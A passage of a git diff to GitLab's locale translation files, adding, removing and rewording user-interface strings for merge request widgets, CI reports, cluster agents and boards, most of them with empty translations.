@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/he_IL/gitlab.po b/locale/he_IL/gitlab.po
index 5b1e201dbd6..220f5ce6fed 100644
--- a/locale/he_IL/gitlab.po
+++ b/locale/he_IL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: he\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -303,6 +300,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -373,6 +377,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -464,6 +475,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -537,6 +555,12 @@ msgstr[3] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -623,6 +647,13 @@ msgstr[3] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -851,7 +882,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -905,6 +936,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -939,9 +973,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -966,6 +997,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "×œ× × ×™×ª×Ÿ להוסיף ×ת %{ref}: %{error}"
@@ -1000,6 +1034,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1050,9 +1087,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1165,6 +1199,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1298,6 +1335,13 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "(this user)"
msgstr ""
@@ -1307,6 +1351,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1347,6 +1394,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1702,9 +1752,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1741,9 +1788,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1792,9 +1836,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1930,9 +1971,6 @@ msgstr "×סימוני גישה"
msgid "Access denied for your LDAP account."
msgstr "הגישה לחשבון ה־LDAP שלך נדחתה."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2179,12 +2217,18 @@ msgstr "הוספת רשימה ממוספרת"
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "הוספת טבלה"
msgid "Add a task list"
msgstr "הוספת רשימת משימות"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2227,6 +2271,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2269,9 +2319,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2341,6 +2388,9 @@ msgstr "הוספת ×ž×©×ª×ž×©×™× ×œ×§×‘×•×¦×”"
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "הוספת התליית רשת"
@@ -2386,9 +2436,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2431,7 +2478,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2440,7 +2487,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2536,6 +2583,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2602,7 +2652,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3139,19 +3189,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3742,9 +3801,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3772,6 +3828,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3931,6 +3990,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4115,6 +4177,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4154,6 +4219,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4196,9 +4264,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4211,9 +4276,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4272,6 +4334,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4282,6 +4347,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4704,6 +4772,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4909,6 +4980,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -5010,6 +5084,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5658,6 +5735,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5737,6 +5817,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5746,12 +5829,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5764,6 +5856,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5859,6 +5954,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5871,6 +5969,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6162,10 +6263,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6174,6 +6278,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6421,6 +6528,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6715,10 +6825,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6769,9 +6879,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6784,6 +6891,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6847,10 +6957,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6914,6 +7024,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6930,9 +7043,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7131,9 +7241,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7431,6 +7538,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7473,6 +7583,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7515,12 +7628,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7542,16 +7649,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7563,9 +7685,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7575,6 +7718,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7584,28 +7730,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7617,6 +7766,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
